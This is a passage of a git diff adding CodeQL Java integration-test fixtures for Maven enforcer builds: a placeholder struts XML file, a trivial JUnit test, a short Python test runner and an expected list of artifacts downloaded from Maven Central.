+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+This is a sample file
+</struts>
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/test/java/com/example/AppTest.java
new file mode 100644
index 000000000000..22a94ca6f01c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/src/test/java/com/example/AppTest.java
@@ -0,0 +1,20 @@
+package com.example;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest 
+{
+    /**
+     * Rigorous Test :-)
+     */
+    @Test
+    public void shouldAnswerWithTrue()
+    {
+        assertTrue( true );
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/test.py b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/test.py
new file mode 100644
index 000000000000..eb49efe6a2a3
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/test.py
@@ -0,0 +1,2 @@
+def test(codeql, java):
+    codeql.database.create()
diff --git a/java/ql/integration-tests/java/maven-enforcer-single-version/maven-fetches.expected b/java/ql/integration-tests/java/maven-enforcer-single-version/maven-fetches.expected
new file mode 100644
index 000000000000..84ebefb5d442
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-single-version/maven-fetches.expected
@@ -0,0 +1,542 @@
+Downloaded from central: https://repo.maven.apache.org/maven2/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.11/commons-codec-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.0/commons-collections-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.1/commons-collections-2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2/commons-collections-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.6/commons-digester-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.11.0/commons-io-2.11.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.2/commons-io-2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.4/commons-io-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0/commons-logging-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/3.8.2/junit-3.8.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/log4j/log4j/1.2.12/log4j-1.2.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/logkit/logkit/1.0.1/logkit-1.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/11/apache-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/13/apache-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/15/apache-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/16/apache-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/18/apache-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/19/apache-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/20/apache-20.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/21/apache-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/23/apache-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/27/apache-27.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/29/apache-29.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/3/apache-3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/30/apache-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/31/apache-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/32/apache-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/33/apache-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/4/apache-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/5/apache-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/6/apache-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/7/apache-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/9/apache-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/24/commons-parent-24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/25/commons-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/34/commons-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/39/commons-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/42/commons-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/47/commons-parent-47.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/52/commons-parent-52.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/64/commons-parent-64.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/65/commons-parent-65.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/66/commons-parent-66.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/69/commons-parent-69.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/9/commons-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-client/4.5.13/httpcomponents-client-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.13/httpcomponents-core-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.14/httpcomponents-core-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-parent/11/httpcomponents-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-decoration-model/1.11.1/doxia-decoration-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-integration-tools/1.11.1/doxia-integration-tools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.11.1/doxia-logging-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-logging-api/1.12.0/doxia-logging-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml/1.11.1/doxia-module-xhtml-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-module-xhtml5/1.11.1/doxia-module-xhtml5-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-modules/1.11.1/doxia-modules-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0-alpha-7/doxia-sink-api-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.0/doxia-sink-api-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.11.1/doxia-sink-api-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sink-api/1.12.0/doxia-sink-api-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-site-renderer/1.11.1/doxia-site-renderer-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-sitetools/1.11.1/doxia-sitetools-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-skin-model/1.11.1/doxia-skin-model-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.11.1/doxia-1.11.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia/1.12.0/doxia-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-api/3.5.0/enforcer-api-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer-rules/3.5.0/enforcer-rules-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/enforcer/enforcer/3.5.0/enforcer-3.5.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-aether-provider/3.0/maven-aether-provider-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-archiver/3.1.1/maven-archiver-3.1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.0.6/maven-artifact-manager-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact-manager/2.2.1/maven-artifact-manager-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.0.6/maven-artifact-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/2.2.1/maven-artifact-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-artifact/3.0/maven-artifact-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.0.6/maven-core-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-core/3.0/maven-core-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model-builder/3.0/maven-model-builder-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/2.2.1/maven-model-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-model/3.0/maven-model-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.0.6/maven-monitor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-monitor/2.2.1/maven-monitor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/10/maven-parent-10.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/11/maven-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/15/maven-parent-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/16/maven-parent-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/22/maven-parent-22.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/23/maven-parent-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/25/maven-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/30/maven-parent-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/31/maven-parent-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/32/maven-parent-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/33/maven-parent-33.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/34/maven-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/37/maven-parent-37.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/39/maven-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/42/maven-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/43/maven-parent-43.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-parent/5/maven-parent-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0.6/maven-plugin-api-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.0/maven-plugin-api-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/2.2.1/maven-plugin-api-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-api/3.0/maven-plugin-api-3.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.0.6/maven-plugin-descriptor-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-descriptor/2.2.1/maven-plugin-descriptor-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.0.6/maven-plugin-parameter-documenter-2.0.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-parameter-documenter/2.2.1/maven-plugin-parameter-documenter-2.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/maven-plugin-registry/2.0.6/maven-plugin-registry-2.0.6.jar
